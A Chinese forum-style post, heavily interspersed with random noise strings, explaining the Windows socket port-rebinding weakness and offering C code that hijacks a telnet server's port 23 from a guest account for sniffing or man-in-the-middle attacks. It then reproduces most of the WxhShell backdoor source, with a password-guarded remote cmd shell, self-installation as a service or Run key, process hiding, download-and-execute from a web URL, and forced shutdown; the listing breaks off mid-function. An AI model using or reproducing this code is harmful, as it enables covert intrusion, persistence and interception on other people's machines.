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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c{_JPy s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fU?#^Lg 9cUa@;*1 saddr.sin_family = AF_INET; $A-X3d;'\/ biU_ImJ>0 saddr.sin_addr.s_addr = htonl(INADDR_ANY); |Tc4a4 jS gBi3^GxjM? bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9Li*L&B) (XW'1@b 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E5@ =LS
xOAq!,|V 这意味着什么?意味着可以进行如下的攻击: vq^';<Wh. *i^$xjOa 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]K*R[ DU$#tg}{ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5h`L W AB Kx&"9g$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4xr^4\lk Su"Z3gm5Kw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 E:ci/09wD Ul9^"o 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K%+4M#jj5 Q}OloA(+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 op5`#{ 8cG`We8l& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q(:L8nKT] +(92}~RK #include A8{ xZsH #include .pQ5lK(R #include cS7\,/4S #include )\EIXTZY= DWORD WINAPI ClientThread(LPVOID lpParam); r6'dEa int main() iiMS3ueF { y|KQ`; WORD wVersionRequested; L;u 5 DWORD ret; Wp8>Gfb2 WSADATA wsaData; |[Fb&x BOOL val; hN6wp_ SOCKADDR_IN saddr; ){w{# SOCKADDR_IN scaddr; gqy>;A:kO int err; fc8ODk*;E SOCKET s; 1' U SOCKET sc; *2->>"kh int caddsize; ?L7DVwVa,I HANDLE mt; 2=n`z)R DWORD tid; 3PZ(Kn< wVersionRequested = MAKEWORD( 2, 2 ); T+@i;M err = WSAStartup( wVersionRequested, &wsaData ); Yq6 @R|u if ( err != 0 ) { CYgokS\=, printf("error!WSAStartup failed!\n"); &Wcz~Gx3Q return -1; Se'SDJl= } &BrFcXF saddr.sin_family = AF_INET; Lr"cO|F h7q{i|5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5rB>)p05[ 4RB%r saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7<!x:G?C saddr.sin_port = htons(23); f^B'BioW( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {qi# { '(3 QyCD printf("error!socket failed!\n"); P@ew' JL% return -1; 8`urkEI^r } 5(J?C-Pk val = TRUE; IiqqdU] //SO_REUSEADDR选项就是可以实现端口重绑定的 ,o%by5j"^N if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V~j^ { sV,Yz3E<u$ printf("error!setsockopt failed!\n"); 1L4-;HYJm return -1; 1b3k|s4 } ~LpkA`Hn! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \DS*G7.A+& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Lk,q~
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SDO:Gma 'LPyh ;!f if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4~h0/H" { (9I(e^@] ret=GetLastError(); F +(S-Qk1 printf("error!bind failed!\n"); [BD`h return -1; \{:A&X~\! } jDb\4QyC listen(s,2); LxhS
9 while(1) (KyOo,a { B2Y.1mXq caddsize = sizeof(scaddr); NL$z4m0 //接受连接请求 GkI'. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XdCP!iq*8 if(sc!=INVALID_SOCKET) n({%|O<| { b.RU%Y#>\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /Tm+&Jd if(mt==NULL) ?[zw5fUDS { AF"7 _ printf("Thread Creat Failed!\n"); InbB2l4G break; UzaAL9k } TU^ZvAO& } 4z(B`t~7 CloseHandle(mt); xRacgny:I } 7:?\1a closesocket(s); FqA4 OU WSACleanup(); AaA!U!B return 0; {24>&<p } Hq::F? DWORD WINAPI ClientThread(LPVOID lpParam) o}:x-Y { dV38-IfGkl SOCKET ss = (SOCKET)lpParam; "[?DS SOCKET sc; OS@uGp=
unsigned char buf[4096]; iZy>V$Aq SOCKADDR_IN saddr; dB6,pY( long num; $rcv@-l DWORD val; ;K\2/"$QD DWORD ret; 5s3QN{h8 //如果是隐藏端口应用的话,可以在此处加一些判断 yPtE5"(o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 >4luZnWMI saddr.sin_family = AF_INET; XN Uw saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
i,<'AL ) saddr.sin_port = htons(23); Itr4Pr if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =hvPq@C% { 9n\>Yieu printf("error!socket failed!\n"); 2sIt~ Gn return -1; $3 -QM } Any y val = 100; r_$*euh@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?K7uy5Y { r6uN6XCM ret = GetLastError(); "NA<^2W@J return -1; XyN
" Jr } 4RVqfD if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jdJTOT { @ !su7 ret = GetLastError(); k*N!U[] return -1; Vq]ixag2^ } i;9X_?QF if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2_HIn { Qf^c}!I printf("error!socket connect failed!\n"); ;&6
{c closesocket(sc); yZNG>1N closesocket(ss); BZQ}c<Nl return -1; (J5}1Q<K } ,3_Sf? while(1) ]>(pj9) { fV>d_6Lf} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oMg-.!6 //如果是嗅探内容的话,可以再此处进行内容分析和记录 Gl'G;F$Y- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N`efLOMl]
num = recv(ss,buf,4096,0); @!dIa1Q" if(num>0) *
rlVE send(sc,buf,num,0); 1qNO$M else if(num==0) N gF7$@S break; tE=09J%z num = recv(sc,buf,4096,0); 2)\->$Q(H if(num>0) [nig^8 send(ss,buf,num,0); ?}8r h% else if(num==0) 9.\SeJ8c break; VrPsy) J68 } #'1dCh
vZ closesocket(ss); /Z?o%/bw: closesocket(sc); P05`DX}r, return 0 ; -V{"Lzrfug } xkRMg2X.>9 kqih`E9P7B 1i$VX|r ========================================================== \:{K",2 YOLzCnI4 下边附上一个代码,,WXhSHELL uT,i& [5L?#Y ========================================================== 9F[3B`w
f:+/=MW #include "stdafx.h" uc+{<E3,% oB5\^V$ #include <stdio.h> Ph""[0n%o #include <string.h> O>pX(DS
L #include <windows.h> 3ArHaAv{y #include <winsock2.h> _N|%i J5 #include <winsvc.h> A{q%sp:3~ #include <urlmon.h> ,on]Fts C5V}L #pragma comment (lib, "Ws2_32.lib") Z qn$ >mG- #pragma comment (lib, "urlmon.lib") *]U`]!Esp N\__a~'0p #define MAX_USER 100 // 最大客户端连接数 /5Qh*.(S #define BUF_SOCK 200 // sock buffer Qb?a[[3 #define KEY_BUFF 255 // 输入 buffer kll!tT-N- r craf4% #define REBOOT 0 // 重启 "dIWHfQB #define SHUTDOWN 1 // 关机 Ll; v[Y RBf#5VjOG! #define DEF_PORT 5000 // 监听端口 %Ve@DF8G nu+K
N,3R" #define REG_LEN 16 // 注册表键长度 |#o' =whTl #define SVC_LEN 80 // NT服务名长度 VB*c1i 4Pc-A // 从dll定义API %pq.fZI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G?$o+Y'F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xP'0a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ty&1R? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YSGE@ _Sd^/jGpU // wxhshell配置信息 ben-<3r struct WSCFG { ~xxq.rL" int ws_port; // 监听端口 <e BmCrJ char ws_passstr[REG_LEN]; // 口令 {7m2vv? Z int ws_autoins; // 安装标记, 1=yes 0=no &2u
|7U. char ws_regname[REG_LEN]; // 注册表键名 b
3Q6- char ws_svcname[REG_LEN]; // 服务名 69r%b7# char ws_svcdisp[SVC_LEN]; // 服务显示名 =5Db^ char ws_svcdesc[SVC_LEN]; // 服务描述信息 !Q|a R char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -&7?!<f int ws_downexe; // 下载执行标记, 1=yes 0=no dT'}:2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" *B!Ox}CI.L char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w>f.@luO4 0=HB!{@ }; %HpPTjAW 'e]>lRZ // default Wxhshell configuration 8[J%TWq%9 struct WSCFG wscfg={DEF_PORT, 05ClPT\BCr "xuhuanlingzhe", L @T/4e./ 1, K!CVS7 "Wxhshell", 5B:"$vC{= "Wxhshell", QEqYqAGzu| "WxhShell Service", Mu`_^gG "Wrsky Windows CmdShell Service", TM6wjHFm "Please Input Your Password: ", 3_
J'+ 1, p3 5)K5V " http://www.wrsky.com/wxhshell.exe", _@>*]g "Wxhshell.exe" "W6cQsi }; ?9{^gW4| el5Pe{j' // 消息定义模块 ^V; r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %!Eh9C* char *msg_ws_prompt="\n\r? for help\n\r#>"; d)uuA;n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ZVH 9je char *msg_ws_ext="\n\rExit."; )x\%*ewY char *msg_ws_end="\n\rQuit."; Xk|a%%O*H char *msg_ws_boot="\n\rReboot..."; gWU#NRRc char *msg_ws_poff="\n\rShutdown..."; [VXQ& char *msg_ws_down="\n\rSave to "; "vybVWEE &M@ .d$<C char *msg_ws_err="\n\rErr!"; |GQq:MB;z char *msg_ws_ok="\n\rOK!"; !b!An; ', Ux',ma1JK char ExeFile[MAX_PATH]; (ww4( int nUser = 0; bX38=.up HANDLE handles[MAX_USER]; *c4OhMU( int OsIsNt; QmSj6pB> h*;c"/7 SERVICE_STATUS serviceStatus; 6
DQOar>d SERVICE_STATUS_HANDLE hServiceStatusHandle; [7.Num_L 4qDO(YWf // 函数声明 4`l$0m@> int Install(void); ~\-=q^/! int Uninstall(void); {91Y;p
C int DownloadFile(char *sURL, SOCKET wsh); Pn^:cr| int Boot(int flag); [p'2#Et void HideProc(void); 51eZf JB int GetOsVer(void); U>!TM##1QD int Wxhshell(SOCKET wsl); k8ILo) void TalkWithClient(void *cs); aoW2 c1`?Z int CmdShell(SOCKET sock); 3"Oipt+ int StartFromService(void); :K~@JlJd int StartWxhshell(LPSTR lpCmdLine); R-pON4D"* XO?WxL9k] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L>/$l( VOID WINAPI NTServiceHandler( DWORD fdwControl ); SPb`Q" g~21|Sa$[ // 数据结构和表定义 pSQ2wjps SERVICE_TABLE_ENTRY DispatchTable[] = , Zie2I?q { *j83E[(] {wscfg.ws_svcname, NTServiceMain}, gLt6u|0q {NULL, NULL} hO> q|+mC }; Bkq4V$D_ oNXYBeu+ // 自我安装 $G0e1)D int Install(void) %9zpPrWF { YYI0iM> char svExeFile[MAX_PATH]; >,zU=I?9Y HKEY key; uu]C;wl strcpy(svExeFile,ExeFile); k2->Z);X uYs45 G // 如果是win9x系统,修改注册表设为自启动 ,DHH5sDCn if(!OsIsNt) { (&*Bl\YoX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zhow\l2t} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CaCApL RegCloseKey(key); ]GRVU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hs+)a%A3G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .&]3wB~ RegCloseKey(key); x!S}Y" return 0; FiReb3zR } ]{i0?c } =zAFsRoD_B } j#c@dze else { =\8 x )$Ib6tYY // 如果是NT以上系统,安装为系统服务 ![{/V,V]~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \l0!si if (schSCManager!=0) Fi+DG?zu { G$*=9` SC_HANDLE schService = CreateService 7C2Xy>d~ ( |;V-;e* schSCManager, Da! fwth wscfg.ws_svcname, /C`AA/@ wscfg.ws_svcdisp, ByoI+n* U SERVICE_ALL_ACCESS, s$f9?(,.Ay SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , se3EI1e SERVICE_AUTO_START, G1X73qoHT< SERVICE_ERROR_NORMAL, g; R svExeFile, .I{u[
" NULL, K
..Pn17t NULL, e"EGqn&! NULL, 'Eia=@ NULL, JUGq\b&m NULL 0 "@J*e# ); 4Z{R36 { if (schService!=0) b[&ri:AC { :L:] 3L CloseServiceHandle(schService); \A!Iln CloseServiceHandle(schSCManager); &> .QDO strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :O,,fJ<x.O strcat(svExeFile,wscfg.ws_svcname); uUBUUr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WM$Z?CN%KB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H,;ZFg /v8 RegCloseKey(key); n~>b}DY return 0; 0ZL>- } -{?xl*D } "{S4YA CloseServiceHandle(schSCManager); *.$ov<E. } &j'k9C2p } kMzDmgoxNg *
kL>9 return 1; ):+^893) } p8s%bPjK }7%ol&<@ // 自我卸载 YuoErP=P int Uninstall(void) M?gZKdj { $y<`Jy]+)~ HKEY key; _wg~5'w8 v7+|G'8M` if(!OsIsNt) { _Co
v >6_i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iRW5*-66f RegDeleteValue(key,wscfg.ws_regname); .aK=z) RegCloseKey(key); [;toumv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Ze\<Y#cv RegDeleteValue(key,wscfg.ws_regname); `"~ X1; RegCloseKey(key); 7|J&fc5BP return 0; ex|)3|J } a(JtGjTf& } y
</i1qM } CpgaQG^ else { Ym]rG
4 ! "08TCc< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); guy!/zQ>A if (schSCManager!=0) E[CvxVCx { Vhm^<I-d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sdewz(xskj if (schService!=0) v<0S@9~ { +tlbO? if(DeleteService(schService)!=0) { nu|?F\o! CloseServiceHandle(schService); >NpW$P{' CloseServiceHandle(schSCManager); @6U&7! return 0; u7p:6W } ZkMHy1 CloseServiceHandle(schService); (Zy=e?E, } hL;??h,!_ CloseServiceHandle(schSCManager); 1mEW]z } O1]XoUH< } 9 771D aO<H!hK return 1; cwUor}<| } !VfVpi+- )pey7-P7g5 // 从指定url下载文件 7vH4}S\
q int DownloadFile(char *sURL, SOCKET wsh) .L]2g$W\p { brn>FFAwO HRESULT hr; @:9mTP7 char seps[]= "/"; gr>FLf
char *token; R, zp&L char *file; 4
>D5t)254 char myURL[MAX_PATH]; fG7-07 char myFILE[MAX_PATH]; PO2]x: r7)iNTQ1 strcpy(myURL,sURL); E?mW4? token=strtok(myURL,seps); .e:+Ek+ while(token!=NULL) ,6U=F#z { hn/SS file=token; Qbj:^{`>( token=strtok(NULL,seps); P6tJo{l8w } I|mxyyf k"FY
&;G(G GetCurrentDirectory(MAX_PATH,myFILE); Lr>4~1:` strcat(myFILE, "\\"); {
lZ<'p strcat(myFILE, file); {\=NZ\ send(wsh,myFILE,strlen(myFILE),0); r2Q) Q send(wsh,"...",3,0); Lhgs|*M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g{7?#.7 if(hr==S_OK) AWmJm) return 0; qSVg.<+ else rHtX4;f+>< return 1; +d6Jrd* sy9Yd PPE } Y9(BxDP_+Y dnX^ ? // 系统电源模块 ui^v.YCMI int Boot(int flag) *\wf(o>Q { K;f=l5 HANDLE hToken; A`b
)7+mB TOKEN_PRIVILEGES tkp; }% ?WS 9**u\H)P6 if(OsIsNt) { D_cd
l^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R2[
} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CwfGp[|}e tkp.PrivilegeCount = 1; ![_GA)7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jM(!!AjpC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); inx0W3d"T if(flag==REBOOT) { ~_SVQ7P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]h&?^L<. return 0; z: W1(/W~ } ~leLQsZ else { ;W#/;C
_h if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '#8;bU return 0; }pPt- k } }Qvoms<k } wsCT9&p else { ok9G 9|HA if(flag==REBOOT) { %6<2~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *FoPs return 0; QnDLSMx) } kI$p~ else { M7IQJFra if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
DWJkN4}o return 0; /K#J63 , } :!g zx n } t~]oJ5% %^8>= return 1; 6I\mhw!pQ } |=}v^o ZC <b;Oap3 // win9x进程隐藏模块 vro5G') void HideProc(void) D D
Crvl { F30jr6F\ !HHbd|B_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?{6[6T if ( hKernel != NULL ) SjOIln { @-qC".CI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g|l|)T.s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +^.Q%b0Xx FreeLibrary(hKernel); /T2f~1R } x?Oc<CQ-2 (G6N@>V(` return; TMQu'<?V } O/R>&8R$ y0XI?Wr // 获取操作系统版本 } "ts int GetOsVer(void) 1&}^{ Ys { V5ihplAk OSVERSIONINFO winfo; OKq={l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _A/ ]m4 GetVersionEx(&winfo); k-vxKrjZ/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;R?9|:7 return 1; |tS~\_O/ else cB[.ET$ return 0; 4)nQBFX } dQL!
>6a OG}D;Ew // 客户端句柄模块 QWGFXy,=1 int Wxhshell(SOCKET wsl) >taZw' { xR;-qSl7Ms SOCKET wsh; Swz1RT struct sockaddr_in client; 5Gsj; DWORD myID; 0Z{(,GU )p;gm`42oY while(nUser<MAX_USER) -0doL^A { .el_pg int nSize=sizeof(client); Rx=pk wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FR@ dBcJUU if(wsh==INVALID_SOCKET) return 1; 7u^6`P Gu_Rf&: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0IM#T=V if(handles[nUser]==0) !kfnqe?| closesocket(wsh); [}_ar else 7e"(]NC84 nUser++; uNY]%[AnJ } BPd]L=,/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MY["
zv Fk,3th return 0; T't^pO-` } v+=_ 4.dMNqU // 关闭 socket jWW2&cBm\ void CloseIt(SOCKET wsh) p8^^Pva/ { KXFa<^\o closesocket(wsh); !<2*B^
nUser--; ':w6{b ExitThread(0); n%<.,(.(S } zj;y`ENj F<w/@.&m // 客户端请求句柄 &,&oTd. void TalkWithClient(void *cs) i9M6%R1m}E { m%E7V{t ,O(XNA(C SOCKET wsh=(SOCKET)cs; U%45qCU char pwd[SVC_LEN]; }H,A
T char cmd[KEY_BUFF]; ()>\D char chr[1]; EX&y
! int i,j; 8YN+
\ 8LwbOR" while (nUser < MAX_USER) { 9H3#8T] ; sEvJ!$Tt?I if(wscfg.ws_passstr) { }%R6Su]y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xt"/e-h} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]@ [=FK^ //ZeroMemory(pwd,KEY_BUFF); }wkBa] i=0; 5>w>J while(i<SVC_LEN) { 1^zF/$% D\V}Eo';6 // 设置超时 Krq^|DY fd_set FdRead; .+B)@? struct timeval TimeOut; g%=\Wiit] FD_ZERO(&FdRead); g}qK$>EPS FD_SET(wsh,&FdRead); vFCp=8h TimeOut.tv_sec=8; oa1a5+A TimeOut.tv_usec=0; +dh]k=6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y_QxJ~6t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @3S2Xb{ra1 Ruk6+U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SqTm/ t pwd =chr[0];
3nK'yC if(chr[0]==0xd || chr[0]==0xa) { );|~4# pwd=0; [bT@Y:X@` break; <qRw!
'S^ } `g :<$3} i++; u%[*;@;9+ } jv|IV kxUGd)S // 如果是非法用户,关闭 socket Da@ tpKU)p if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H_8@J
} "a"[B' ld@f:Zali send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _Wb-&6{ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v*BA\& S5Px9&N8( while(1) { tc,7yo\". QX]tD4OH ZeroMemory(cmd,KEY_BUFF); (I~,&aBr m#;:%.Rm // 自动支持客户端 telnet标准 MA-$aN_( j=0; Jc%>=`f while(j<KEY_BUFF) { &&<^wtznO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !J6s^um cmd[j]=chr[0]; CWN=6(y if(chr[0]==0xa || chr[0]==0xd) { Y+=@5+G cmd[j]=0; (wY%$kW4 break; gCm?nb) } Xs`:XATb/ j++; ev guw*u } 4r zioIk 462ae`
6l // 下载文件 *r%mqAx( if(strstr(cmd,"http://")) { <s7{6n') send(wsh,msg_ws_down,strlen(msg_ws_down),0); g<dCUIbcQ if(DownloadFile(cmd,wsh)) ~!nd'{{9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); #U_u~7?H$ else z~Pmh%b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ``E;!r="v } fVN}7PH7+ else { $c y:G /pge 7P switch(cmd[0]) { ,/ig8~u'c =}"hC`3e // 帮助 8
[."%rzN case '?': { mX1oRhf send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q}1$OsM break; D!sSe|sL^ } JZnWzqFw // 安装 Q.]
)yqX6 case 'i': { Q:MsD. if(Install()) .6;B3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); GB+d0 S4 else & T|-K\* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zg
j35 break; z$V8<&q } O``MUb b // 卸载 =!c+|X` case 'r': { J-ZM1HoB if(Uninstall()) i|O7nB@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); <&Uk!1Jd else GJuD
: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [uY2 Nh break; 7 r<>^j' } w${=dW@K // 显示 wxhshell 所在路径 JS:lysu case 'p': { D7(t6C=FP char svExeFile[MAX_PATH]; xq)/ QR strcpy(svExeFile,"\n\r");
_NZHrN strcat(svExeFile,ExeFile); :58'U| send(wsh,svExeFile,strlen(svExeFile),0); =iQm_g break; 0EB'! } X]*/]Xx // 重启 (j I|F-i case 'b': { @iceMD. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3d<HIG^W} if(Boot(REBOOT)) H44&u](8{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |G@)B!> else { 3,5wWT]
) closesocket(wsh); T> 'Vaxo ExitThread(0); Iz8^?>X } !U!E_D.O break; 16Y~5JAc } MdjLAD)f+C // 关机 KEN-G case 'd': { H7=z%Y9y send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #G=QL(f>/ if(Boot(SHUTDOWN)) |*NrS<" send(wsh,msg_ws_err,strlen(msg_ws_err),0); [L(l++.z else { 7tpZE+OX closesocket(wsh); pdHb ExitThread(0); r97[!y1gt } 3ky+qoe break; l1qwT0*6> } B3t>M)
9 // 获取shell M\6`2q case 's': { gc~h!%'.I CmdShell(wsh); uPXqTkod closesocket(wsh); @/(7kh+ ExitThread(0); 7qz-RF#s8 break; N8q Z{CWn } ~?5m5z O // 退出 kAliCD) case 'x': { ')-(N
um send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EM/+1
_u CloseIt(wsh); z{0;%E break; t
g*[%Jf^ } \>`$x: // 离开 Av>j+O ; case 'q': { g0OS<,: send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,b(S=r closesocket(wsh); vxT"BvN WSACleanup(); DOIWhd5: exit(1); 3/=QZ8HA&- break; 7YjucPH# } XL=R]IC<. } g VJ#LJ } WGluY>C; ee^_Dh4 // 提示信息 :*'?Ac
? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :+Ax3 } gtGKV } aQ:f"0fL )o</gt ) return; z
2VCK@0 } 7B!Qq/E?g s)8M? |[`I // shell模块句柄 %,cFX[D/) int CmdShell(SOCKET sock) A<5`[<x$ { yaLW(@ STARTUPINFO si; xBfe8lor ZeroMemory(&si,sizeof(si)); LC\:xia{X si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J8BT% si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :_a]T-GL PROCESS_INFORMATION ProcessInfo; 1 "7#|=1/ char cmdline[]="cmd"; cu?(P;mQi CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {/xs9.8:JX return 0; TK/'=8 } %N>NOk) {
DQE7kI // 自身启动模式 ~o'#AP#N~ int StartFromService(void) arQ% { #*$@_ typedef struct 7jH`_58 { *F*jA$aY DWORD ExitStatus; N$&ePU J DWORD PebBaseAddress; K[gWXBP DWORD AffinityMask; <bZm DWORD BasePriority; NVqC|uEAF ULONG UniqueProcessId; akW3\(W} ULONG InheritedFromUniqueProcessId; rL
